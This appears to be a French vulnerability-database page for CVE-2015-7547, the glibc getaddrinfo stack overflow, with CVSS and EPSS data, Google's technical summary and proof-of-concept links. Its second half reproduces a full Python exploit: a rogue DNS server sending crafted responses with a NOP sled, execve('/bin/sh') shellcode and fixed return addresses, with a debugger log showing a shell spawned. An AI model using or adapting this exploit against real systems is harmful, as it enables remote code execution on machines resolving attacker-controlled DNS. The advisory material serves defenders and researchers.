CPE, qui signifie Common Platform Enumeration, est un système normalisé de dénomination du matériel, des logiciels et des systèmes d'exploitation. CPE fournit un schéma de dénomination structuré pour identifier et classer de manière unique les systèmes informatiques, les plates-formes et les progiciels sur la base de certains attributs tels que le fournisseur, le nom du produit, la version, la mise à jour, l'édition et la langue.
CWE, ou Common Weakness Enumeration, est une liste complète et une catégorisation des faiblesses et des vulnérabilités des logiciels. Elle sert de langage commun pour décrire les faiblesses de sécurité des logiciels au niveau de l'architecture, de la conception, du code ou de la mise en œuvre, qui peuvent entraîner des vulnérabilités.
CAPEC, qui signifie Common Attack Pattern Enumeration and Classification (énumération et classification des schémas d'attaque communs), est une ressource complète, accessible au public, qui documente les schémas d'attaque communs utilisés par les adversaires dans les cyberattaques. Cette base de connaissances vise à comprendre et à articuler les vulnérabilités communes et les méthodes utilisées par les attaquants pour les exploiter.
Services & Prix
Aides & Infos
Recherche de CVE id, CWE id, CAPEC id, vendeur ou mots clés dans les CVE
Multiple stack-based buffer overflows in the (1) send_dg and (2) send_vc functions in the libresolv library in the GNU C Library (aka glibc or libc6) before 2.23 allow remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via a crafted DNS response that triggers a call to the getaddrinfo function with the AF_UNSPEC or AF_INET6 address family, related to performing "dual A/AAAA DNS queries" and the libnss_dns.so.2 NSS module.
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.
Métriques
Métriques
Score
Gravité
CVSS Vecteur
Source
V3.0
8.1
HIGH
CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
High
A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
Base: Impact Metrics
The Impact metrics refer to the properties of the impacted component.
Confidentiality Impact
This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.
High
There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.
Integrity Impact
This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.
High
There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
6.8
AV:N/AC:M/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
92.39%
–
–
2023-02-05
–
–
94.1%
–
–
2023-02-19
–
–
92.39%
–
–
2023-03-12
–
–
–
97.47%
–
2023-10-08
–
–
–
97.46%
–
2023-12-17
–
–
–
97.23%
–
2024-01-14
–
–
–
97.31%
–
2024-02-18
–
–
–
97.44%
–
2024-03-24
–
–
–
97.41%
–
2024-06-02
–
–
–
97.41%
–
2024-06-02
–
–
–
97.41%
–
2024-10-27
–
–
–
97.4%
–
2024-12-22
–
–
–
97.28%
–
2025-01-26
–
–
–
97.22%
–
2025-01-19
–
–
–
97.28%
–
2025-01-25
–
–
–
97.22%
–
2025-03-18
–
–
–
–
93.41%
2025-05-01
–
–
–
–
91.78%
2025-05-04
–
–
–
–
93.41%
2025-06-01
–
–
–
–
91.78%
2025-06-04
–
–
–
–
93.41%
2025-06-21
–
–
–
–
93.42%
2025-07-01
–
–
–
–
91.8%
2025-07-04
–
–
–
–
93.42%
2025-08-01
–
–
–
–
91.8%
2025-08-04
–
–
–
–
93.42%
2025-10-01
–
–
–
–
91.8%
2025-10-04
–
–
–
–
93.42%
2025-10-18
–
–
–
–
93.95%
2025-11-01
–
–
–
–
92.82%
2025-11-04
–
–
–
–
93.95%
2025-11-06
–
–
–
–
93.91%
2025-11-06
–
–
–
–
93.91,%
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Date de publication : 2016-02-15 23h00 +00:00 Auteur : Google Security Research EDB Vérifié : Yes
Sources:
https://googleonlinesecurity.blogspot.sg/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
https://github.com/fjserna/CVE-2015-7547
Technical information:
glibc reserves 2048 bytes in the stack through alloca() for the DNS answer at _nss_dns_gethostbyname4_r() for hosting responses to a DNS query.
Later on, at send_dg() and send_vc(), if the response is larger than 2048 bytes, a new buffer is allocated from the heap and all the information (buffer pointer, new buffer size and response size) is updated.
Under certain conditions a mismatch between the stack buffer and the new heap allocation will happen. The final effect is that the stack buffer will be used to store the DNS response, even though the response is larger than the stack buffer and a heap buffer was allocated. This behavior leads to the stack buffer overflow.
The vectors to trigger this buffer overflow are very common and can include ssh, sudo, and curl. We are confident that the exploitation vectors are diverse and widespread; we have not attempted to enumerate these vectors further.
We are providing this code as-is. You are responsible for protecting yourself,
your property and data, and others from any risks caused by this code. This
code may cause unexpected and undesirable behavior to occur on your machine.
This code may not detect the vulnerability on your system.
Note that this POC consists of two components: server code and client code.
The server code triggers the vulnerability and therefore will crash the client
code. Note also that it is necessary to set the nameserver to point to the
server code, and doing so could cause other programs that call into the
getaddrinfo() function to crash while testing is underway. This POC code is
provided "as is" with no warranties, whether express or implied, including
without limitation any warranties or merchantability, fitness for a particular
use and noninfringement. Google assumes no responsibility for your proper
installation and use of the POC code.
Proof of Concept:
https://github.com/fjserna/CVE-2015-7547/archive/master.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39454-1.zip
Date de publication : 2016-09-05 22h00 +00:00 Auteur : SpeeDr00t EDB Vérifié : No
/*
add by SpeeDr00t@Blackfalcon (jang kyoung chip)
This is a published vulnerability by google in the past.
Please refer to the link below.
Reference:
- https://googleonlinesecurity.blogspot.kr/2016/02/cve-2015-7547-glibc-getaddrinfo-stack.html
- https://github.com/fjserna/CVE-2015-7547
- CVE-2015-7547: glibc getaddrinfo stack-based buffer overflow
When Google announced about this code(vulnerability),
it was missing information on shellcode.
So, I tried to completed the shellcode.
In the future, I hope to help your study.
(gdb) r
Starting program: /home/haker/client1
Got object file from memory but can't read symbols: File truncated.
[UDP] Total Data len recv 36
[UDP] Total Data len recv 36
udp send
sendto 1
TCP Connected with 127.0.0.1:60259
[TCP] Total Data len recv 76
[TCP] Request1 len recv 36
data1 = ��foobargooglecom
query = foobargooglecom$(�foobargooglecom
[TCP] Request2 len recv 36
sendto 2
data1_reply
data2_reply
[UDP] Total Data len recv 36
[UDP] Total Data len recv 36
udp send
sendto 1
TCP Connected with 127.0.0.1:60260
[TCP] Total Data len recv 76
[TCP] Request1 len recv 36
data1 = ��foobargooglecom
query = foobargooglecom$�7foobargooglecom
[TCP] Request2 len recv 36
sendto 2
data1_reply
data2_reply
process 6415 is executing new program: /bin/dash
$ id
uid=1000(haker) gid=1000(haker) groups=1000(haker),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),124(sambashare)
$
*/
import socket
import time
import struct
import threading
IP = '192.168.111.5' # Insert your ip for bind() here...
ANSWERS1 = 184
terminate = False
last_reply = None
reply_now = threading.Event()
def dw(x):
return struct.pack('>H', x)
def dd(x):
return struct.pack('>I', x)
def dl(x):
return struct.pack('<Q', x)
def db(x):
return chr(x)
def udp_thread():
global terminate
# Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((IP, 53))
reply_counter = 0
counter = -1
answers = []
while not terminate:
data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id_udp = struct.unpack('>H', data[0:2])[0]
query_udp = data[12:]
# Send truncated flag... so it retries over TCP
data = dw(id_udp) # id
data += dw(0x8380) # flags with truncated set
data += dw(1) # questions
data += dw(0) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query_udp # question
data += '\x00' * 2500 # Need a long DNS response to force malloc
answers.append((data, addr))
if len(answers) != 2:
continue
counter += 1
if counter % 4 == 2:
answers = answers[::-1]
print 'udp send '
time.sleep(0.01)
sock_udp.sendto(*answers.pop(0))
print 'sendto 1 '
reply_now.wait()
sock_udp.sendto(*answers.pop(0))
print 'sendto 2 '
sock_udp.close()
def tcp_thread():
global terminate
counter = -1
#Open TCP socket
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_tcp.bind((IP, 53))
sock_tcp.listen(10)
print 'a'
while not terminate:
conn, addr = sock_tcp.accept()
counter += 1
print 'TCP Connected with ' + addr[0] + ':' + str(addr[1])
# Read entire packet
data = conn.recv(1024)
print '[TCP] Total Data len recv ' + str(len(data))
reqlen1 = socket.ntohs(struct.unpack('H', data[0:2])[0])
print '[TCP] Request1 len recv ' + str(reqlen1)
data1 = data[2:2+reqlen1]
print 'data1 = ' +data1
id1 = struct.unpack('>H', data1[0:2])[0]
query1 = data[12:]
print 'query = ' + query1
# Do we have an extra request?
data2 = None
if len(data) > 2+reqlen1:
reqlen2 = socket.ntohs(struct.unpack('H', data[2+reqlen1:2+reqlen1+2])[0])
print '[TCP] Request2 len recv ' + str(reqlen2)
data2 = data[2+reqlen1+2:2+reqlen1+2+reqlen2]
id2 = struct.unpack('>H', data2[0:2])[0]
query2 = data2[12:]
# Reply them on different packets
data = ''
data += dw(id1) # id
data += dw(0x8180) # flags
data += dw(1) # questions
data += dw(ANSWERS1) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query1 # question
for i in range(ANSWERS1):
answer = dw(0xc00c) # name compressed
answer += dw(1) # type A
answer += dw(1) # class
answer += dd(13) # ttl
answer += dw(4) # data length
answer += 'D' * 4 # data
data += answer
data1_reply = dw(len(data)) + data
if data2:
data = ''
data += dw(id2)
data += 'A' * (6)
data += '\x08\xc5\xff\xff\xff\x7f\x00\x00'
data += '\x90' * (44)
data += '\x90' * (1955)
data += '\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
data += '\x90' * (100)
data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00'
data += 'F' * (8)
data += '\xc0\xc4\xff\xff\xff\x7f\x00\x00'
data += 'G' * (134)
data2_reply = dw(len(data)) + data
else:
data2_reply = None
reply_now.set()
time.sleep(0.01)
conn.sendall(data1_reply)
print 'data1_reply'
time.sleep(0.01)
if data2:
conn.sendall(data2_reply)
print 'data2_reply'
reply_now.clear()
sock_tcp.shutdown(socket.SHUT_RDWR)
sock_tcp.close()
if __name__ == "__main__":
t = threading.Thread(target=udp_thread)
t.daemon = True
t.start()
tcp_thread()
terminate = True